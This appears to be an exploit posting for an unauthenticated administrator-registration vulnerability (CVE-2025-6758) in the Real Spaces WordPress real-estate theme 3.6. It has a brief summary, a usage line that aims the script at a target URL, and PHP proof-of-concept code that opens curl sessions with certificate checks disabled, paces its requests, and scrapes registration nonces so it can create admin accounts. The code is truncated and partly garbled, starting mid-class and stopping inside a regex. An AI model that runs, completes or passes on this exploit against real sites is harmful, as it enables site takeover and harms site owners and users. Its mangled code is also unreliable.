=============================================================================================================================================
| # Title : WordPress Real Spaces Properties Directory Theme 3.6 Unauthenticated Administrator Registration Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://themeforest.net/item/real-spaces-wordpress-real-estate-theme/8219779 |
=============================================================================================================================================
POC :
[+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6758
https://packetstorm.news/files/id/210833/
https://wpscan.com/vulnerability/12347
[+] Summary
A critical security vulnerability exists in the Real Spaces Properties Directory Theme that allows unauthenticated attackers to register administrator accounts without any authentication.
The vulnerability stems from improper nonce validation and missing authorization checks in the user registration functionality.
[+] Usage:
Usage: php poc.php -u https://example.com
[+] POC :
debug = $debug;
$this->session = curl_init();
curl_setopt_array($this->session, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
CURLOPT_TIMEOUT => 15,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
"Accept: */*",
"X-Requested-With: XMLHttpRequest"
]
]);
}
public function __destruct() {
if ($this->session) {
curl_close($this->session);
}
}
private function shortDelay($min = 0.4, $max = 1.0) {
usleep(rand($min * 1000000, $max * 1000000));
}
private function log($message, $level = "INFO") {
echo "[$level] $message\n";
}
private function fetchPage($url, $verifySSL = false) {
curl_setopt_array($this->session, [
CURLOPT_URL => $url,
CURLOPT_HTTPGET => true,
CURLOPT_POST => false,
CURLOPT_SSL_VERIFYPEER => $verifySSL
]);
$response = curl_exec($this->session);
$httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($httpCode === 200 && $response) {
return $response;
}
if ($this->debug) {
$this->log("Fetch failed: $url - HTTP Code: $httpCode", "DEBUG");
}
return null;
}
private function extractNonceBS4($html) {
// Simple DOM parsing without external libraries
if (preg_match('/data-registration-nonce="([^"]+)"/', $html, $matches)) {
return $matches[1];
}
if (preg_match('/]*name="registration_nonce"[^>]*value="([^"]+)"/', $html, $matches)) {
return $matches[1];
}
// Search in script tags
if (preg_match_all('/